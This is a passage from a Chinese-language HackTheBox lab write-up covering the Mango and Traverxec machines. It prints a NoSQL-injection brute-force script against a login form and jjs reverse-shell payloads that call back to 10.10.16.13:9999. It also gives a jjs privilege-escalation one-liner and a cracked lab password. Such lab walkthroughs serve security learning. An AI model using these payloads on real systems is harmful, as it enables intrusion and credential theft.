class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept&amp;#39;: &amp;#39;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Referer&amp;#39;: &amp;#39;http://staging-order.mango.htb/&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept-Encoding&amp;#39;: &amp;#39;gzip, deflate&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept-Language&amp;#39;: &amp;#39;en-US,en;q=0.9&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Cookie&amp;#39;: &amp;#39;PHPSESSID=qspndr7i6msn9e8eamalqjadh7&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Connection&amp;#39;: &amp;#39;close&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# data = &amp;#39;username[$regex]=^a.*&amp;amp;password[$ne]=1&amp;amp;login=login&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# print(requests.post(url=url,headers=headers,data=data, allow_redirects=False).status_code)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;list_username = []&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;flag = True&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# #用户名&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# while True:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# if list_username != [] and len(list_username) &amp;gt;= 1 and flag:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# flag = False&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# # post_data_2 = &amp;#34;username[$regex]=^.*&amp;amp;password[$ne]=1&amp;amp;login=login&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# for i in range(0, len(list_username)):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# for c in string.printable:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# if c not in [&amp;#39;*&amp;#39;, &amp;#39;+&amp;#39;, &amp;#39;.&amp;#39;, &amp;#39;?&amp;#39;, &amp;#39;|&amp;#39;, &amp;#39;#&amp;#39;, &amp;#39;&amp;amp;&amp;#39;, &amp;#39;$&amp;#39;, &amp;#39;\\&amp;#39;,&amp;#39;^&amp;#39;]:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# post_data_1 = f&amp;#34;username[$regex]=^{list_username[i]+c}.*&amp;amp;password[$ne]=1&amp;amp;login=login&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# response = requests.post(url=url, headers=headers, data=post_data_1, allow_redirects=False)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# print(post_data_1)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# print(c, response.status_code)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# if response.status_code == 302:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# list_username[i] = list_username[i]+c&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# flag = True&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# print(list_username)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# elif flag == False:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# print(&amp;#34;result:&amp;#34;,list_username)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# break&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# # exit()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# else:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# for c in string.printable:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# if c not in [&amp;#39;*&amp;#39;, &amp;#39;+&amp;#39;, &amp;#39;.&amp;#39;, &amp;#39;?&amp;#39;, &amp;#39;|&amp;#39;, &amp;#39;#&amp;#39;, &amp;#39;&amp;amp;&amp;#39;, &amp;#39;$&amp;#39;, &amp;#39;\\&amp;#39;,&amp;#39;^&amp;#39;]:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# post_data_1 = f&amp;#34;username[$regex]=^{c}.*&amp;amp;password[$ne]=1&amp;amp;login=login&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# # post_data_2 = &amp;#34;username[$regex]=^.*&amp;amp;password[$ne]=1&amp;amp;login=login&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# response = requests.post(url=url,headers=headers,data=post_data_1, allow_redirects=False)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# print(post_data_1)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# print(c,response.status_code)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# if response.status_code == 302:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# list_username.append(c)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# print(list_username)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;print_list = []&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#两个没冲突 打开注释一样可以继续跑&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;list_username = [&amp;#39;admin&amp;#39;, &amp;#39;mango&amp;#39;] #填入username或者和上面联动把这一行注释了&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#密码&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;for user in list_username:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; flag = True&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; list_password = &amp;#39;&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; while True:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if list_password != [] and len(list_password) &amp;gt;= 1 and flag:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; flag = False&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; # post_data_2 = &amp;#34;username[$regex]=^.*&amp;amp;password[$ne]=1&amp;amp;login=login&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; for c in string.printable:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if c not in [&amp;#34;*&amp;#34;, &amp;#34;+&amp;#34;, &amp;#34;.&amp;#34;, &amp;#34;?&amp;#34;, &amp;#34;|&amp;#34;, &amp;#34;\\&amp;#34;, &amp;#34;\b&amp;#34;, &amp;#34;&amp;amp;&amp;#34;,&amp;#34;$&amp;#34;]:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; post_data_1 = f&amp;#34;username={user}&amp;amp;password[$regex]=^{list_password + c}.*&amp;amp;login=login&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; response = requests.post(url=url, headers=headers, data=post_data_1, allow_redirects=False)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(post_data_1)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(c, response.status_code)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if response.status_code == 302:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; list_password += c&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; flag = True&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; break&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(list_password)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; elif flag == False:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(&amp;#34;result:&amp;#34;, list_password)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print_list.append(list_password)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; break&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; # exit()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; else:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; for c in string.printable:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if c not in [&amp;#34;*&amp;#34;, &amp;#34;+&amp;#34;, &amp;#34;.&amp;#34;, &amp;#34;?&amp;#34;, &amp;#34;|&amp;#34;, &amp;#34;\\&amp;#34;, &amp;#34;\b&amp;#34;, &amp;#34;&amp;amp;&amp;#34;,&amp;#34;$&amp;#34;]:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; post_data_1 = f&amp;#34;username={user}&amp;amp;password[$regex]=^{c}.*&amp;amp;login=login&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; # post_data_2 = &amp;#34;username[$regex]=^.*&amp;amp;password[$ne]=1&amp;amp;login=login&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; response = requests.post(url=url, headers=headers, data=post_data_1, allow_redirects=False)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(post_data_1)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(c, response.status_code)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if response.status_code == 302:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; list_password += c&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; break&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(list_password)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;print(print_list)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;确实有点慢 没想过多线程那些 脚本应该还需要优化 但是不用在意那些细节&lt;/p&gt;&#10;&lt;p&gt;username&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0432.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;没加去重但是密码出来了 跟我测的位数一样 手测的位数16位&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0433.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0434.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;mango撞库成功 登陆上了ssh&lt;/p&gt;&#10;&lt;p&gt;开始提权&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0435.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;大概率是越权到admin然后运行这个提权root&lt;/p&gt;&#10;&lt;p&gt;脚本也给了提示 但是我们不是admin&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0436.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0437.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;su配合之前的密码就上来了 大概率是sshconfig禁了&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0438.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;非常经典的反弹shell的脚本 开ProcessBuilder线程 Socket回连 定义输入流 死循环用于发送返回命令&lt;/p&gt;&#10;&lt;p&gt;问题是jjs我也没用过 google一下 看一下如何利用&lt;/p&gt;&#10;&lt;p&gt;实际上我了解到的他是可以直接执行java代码的&lt;/p&gt;&#10;&lt;p&gt;Java.type(&amp;lsquo;java.lang.Runtime&amp;rsquo;).getRuntime().exec(&amp;rsquo;/bin/sh -i &amp;gt;&amp;amp; /dev/tcp/10.10.16.13/9999 0&amp;gt;&amp;amp;1&amp;rsquo;)&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0439.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;进程开出来了 但是提示没有输入 并且我这没有收到shell 下面都是它自带的 改了参数这几个都是我自行测试的 但是他就是反弹不回来shell&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Java.type(&amp;#39;java.lang.Runtime&amp;#39;).getRuntime().exec(&amp;#39;/bin/sh -i &amp;gt;&amp;amp; /dev/tcp/10.10.16.13/9999&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;var host= &amp;#34;10.10.16.13&amp;#34;;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;var port= &amp;#34;9999&amp;#34;;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;var ProcessBuilder = Java.type(&amp;#34;java.lang.ProcessBuilder&amp;#34;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;var p=new ProcessBuilder(&amp;#34;/bin/bash&amp;#34;, &amp;#34;-i&amp;#34;).redirectErrorStream(true).start();&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;var Socket = Java.type(&amp;#34;java.net.Socket&amp;#34;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;var s=new Socket(&amp;#34;10.10.16.13&amp;#34;,&amp;#34;9999&amp;#34;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){ while(pi.available()&amp;gt;0)so.write(pi.read()); while(pe.available()&amp;gt;0)so.write(pe.read()); while(si.available()&amp;gt;0)po.write(si.read()); so.flush();po.flush(); Java.type(&amp;#34;java.lang.Thread&amp;#34;).sleep(50); try {p.exitValue();break;}catch (e){}};p.destroy();s.close();&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0440.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;还真有关于jjs的提权 修改payload&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;Java.type(&amp;#39;java.lang.Runtime&amp;#39;).getRuntime().exec(&amp;#39;/bin/sh -pc \$@|sh\${IFS}-p _ echo sh -p &amp;lt;$(tty) &amp;gt;$(tty) 2&amp;gt;$(tty)&amp;#39;).waitFor()&amp;#34; | /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;运行就行&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0441.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;结束 这个靶场卡了我很多时间 最主要是写的脚本太卡了 可能是网速的问题 导致爆破速度很慢 也可能是脚本编写的不太好 总之那个地方卡了我很久 还有好像是第二次了解到了nosql注入 第一次不是很在意&lt;/p&gt;&#10;&lt;p&gt;最后就是这个java的利用点 我一开始没了解过jjs 才知道可以调用java代码 所以一直想自己构造 因为他确实在history里面也带了些 虽然看着他的脚本没问题 事实告诉我 弹不回来&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0442.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;问了下gpt确实存在问题&lt;/p&gt;&#10;&lt;h2 id="20traverxec"&gt;&lt;a href="#20traverxec" class="header-anchor"&gt;&lt;/a&gt;20.Traverxec&#10;&lt;/h2&gt;&lt;p&gt;信息收集：&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0443.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0444.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;访问这个机器非常卡 不知道是我自己电脑的原因 还是他的原因&lt;/p&gt;&#10;&lt;p&gt;直接讲结果把&lt;/p&gt;&#10;&lt;p&gt;22端口没东西&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0445.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;80端口whatweb找到了指纹 直接搜找到了exp&lt;/p&gt;&#10;&lt;p&gt;打完就能直接getshell了&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0446.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0447.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;开始提权&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0448.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;LinEnum帮我们找到了hash值 cmd5要付费 就自行爆破了&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0449.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;david/Nowonly4me&lt;/p&gt;&#10;&lt;p&gt;ssh连一下看看 根本登不上去 su都不行&lt;/p&gt;&#10;&lt;p&gt;su我还搜了有没有其他的su&lt;/p&gt;&#10;&lt;p&gt;开始研究那个网站 发现那个网站貌似是以root启动的&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0450.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;但是他只是个纯前端页面 没有办法&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0451.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;但并不是这样的 他给了可执行权限 实际上文件所有能改文件的只有root 执行还是当前用户&lt;/p&gt;&#10;&lt;p&gt;到了这一步我已经用了我能想到的所有常规了，这里大概率是非常规&lt;/p&gt;&#10;&lt;p&gt;我收集到的非常规的路线如下：&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0452.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;david家目录不可查看 但可运行 如果我们能获得david家目录的一些提权文件 只要能知道名称都行&lt;/p&gt;&#10;&lt;p&gt;还有一个 我在找到那个密码的文件夹目录下找到了配置文件 而那个密码文件夹 他就是网站目录文件夹&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0453.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;第一个我们已经看过了 我将ip绑到了hosts上&lt;/p&gt;&#10;&lt;p&gt;第二个提醒了user 这个没问题 进程里面启动的就是www-data用户&lt;/p&gt;&#10;&lt;p&gt;第三个只提到了容易破解 撞库 貌似也没什么&lt;/p&gt;&#10;&lt;p&gt;第四个提醒了在home文件夹下有个公开的public 但实际上我们发现家目录下有个david public_www 我们并没有找到&lt;/p&gt;&#10;&lt;p&gt;而且最主要是 david目录下我们可以执行 但是并不能访问 而且他只是david家目录不能访问 但是david家目录下面的子目录子文件是可以访问的 如下&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0454.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;所以目前在我们面前有两条路&lt;/p&gt;&#10;&lt;p&gt;第一个是对david家目录进行爆破&lt;/p&gt;&#10;&lt;p&gt;第二个是public_www 我们得找到在哪&lt;/p&gt;&#10;&lt;p&gt;我在搜索了很久并没有找到public_www 但是后面有个重大发现&lt;/p&gt;&#10;&lt;p&gt;他就藏在david目录下 翻了一下找到了ssh的备份密钥&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0455.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;传到kali上&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0456.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;密码如下&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0457.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;成功登录&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0458.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;翻了些文件 发现一个有意思的&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0459.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;sudo提权我只要一尝试就需要密码，但他这里不需要就很奇怪&lt;/p&gt;&#10;&lt;p&gt;后续测试发现只有输入 /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service&lt;/p&gt;&#10;&lt;p&gt;这条命令时才可以sudo无需密码执行 就是说多一个字符更改一个参数 后面加任何东西都不行 只能靠|，&amp;amp;，；等等来拼接才能执行 但是很明显 拼接了之后他就不是原来的权限了&lt;/p&gt;&#10;&lt;p&gt;而且他把路径写死了 没有写死路径的话 